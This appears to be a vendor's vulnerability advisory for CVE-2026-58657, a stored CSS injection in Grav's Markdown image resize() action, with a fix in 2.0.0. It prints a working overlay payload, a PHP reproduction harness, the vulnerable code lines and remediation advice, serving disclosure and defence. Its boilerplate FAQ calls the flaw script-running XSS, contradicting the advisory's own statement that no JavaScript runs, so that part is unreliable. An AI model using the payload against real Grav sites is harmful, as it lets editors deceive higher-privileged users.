CVE-2026-58657

Grav: Stored CSS injection via Markdown image resize() bypasses prior media style sanitizers in Grav

![logo](image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200)

$m = new class {
    use \Grav\Common\Media\Traits\MediaObjectTrait;
    use \Grav\Common\Media\Traits\StaticResizeTrait;

    public function addMetaFile($filepath) {}
    public function __toString(): string { return ''; }
    public function url($reset = true) { return '/img.png'; }
    public function get($name, mixed $default = null, $separator = null) { return $default; }
    public function set($name, mixed $value, $separator = null) { return $this; }
    protected function createThumbnail($thumb) { return null; }
    protected function createLink(array $attributes) { return null; }
    protected function getItems(): array { return []; }
};

$excerpts = new \Grav\Common\Page\Markdown\Excerpts(null, ['markdown' => [], 'images' => []]);
$m = $excerpts->processMediaActions(
    $m,
    'image.png?resize=100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999,200'
);
$element = $m->parsedownElement('', '', '', '', false);
var_dump($element['attributes']['style']);

width: 100;position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999px;height: 200px;

$this->styleAttributes['width'] = $width . 'px';
$this->styleAttributes['height'] = $height . 'px';

$style .= $key . ': ' . $value . ';';

A lower-privileged content editor can persist CSS declarations that are rendered when a higher-privileged user views the page or admin preview. The demonstrated payload creates a full-viewport fixed overlay by injecting position:fixed, viewport dimensions, background color, and z-index declarations.

This does not require JavaScript execution. The impact is stored CSS injection in rendered content, with UI redress/overlay and content-manipulation risk in higher-privileged sessions.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-58657 has a CVSS score of 4.8 (Medium). The vector is network-reachable, high privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.0); upgrading removes the vulnerable code path.

Kodem intelligence

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Sanitize or type-normalize all values before they enter styleAttributes, not only values passed through MediaObjectTrait::style(). For resize(), cast or validate width and height as numeric values before appending px, or use a shared CSS declaration builder that rejects semicolons, colons, property names, and other declaration-breaking characters. Add regression coverage for resize=100;position:fixed;top:0,200 and any other media action that writes to styleAttributes directly.

1. What is CVE-2026-58657? CVE-2026-58657 is a medium-severity cross-site scripting (XSS) vulnerability in getgrav/grav (composer), affecting versions = 2.0.0-rc.9. It is fixed in 2.0.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-58657? CVE-2026-58657 has a CVSS score of 4.8 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of getgrav/grav are affected by CVE-2026-58657? getgrav/grav (composer) versions = 2.0.0-rc.9 is affected.
4. Is there a fix for CVE-2026-58657? Yes. CVE-2026-58657 is fixed in 2.0.0. Upgrade to this version or later.
5. Is CVE-2026-58657 exploitable, and should I be worried? Whether CVE-2026-58657 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-58657 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-58657? Upgrade getgrav/grav to 2.0.0 or later.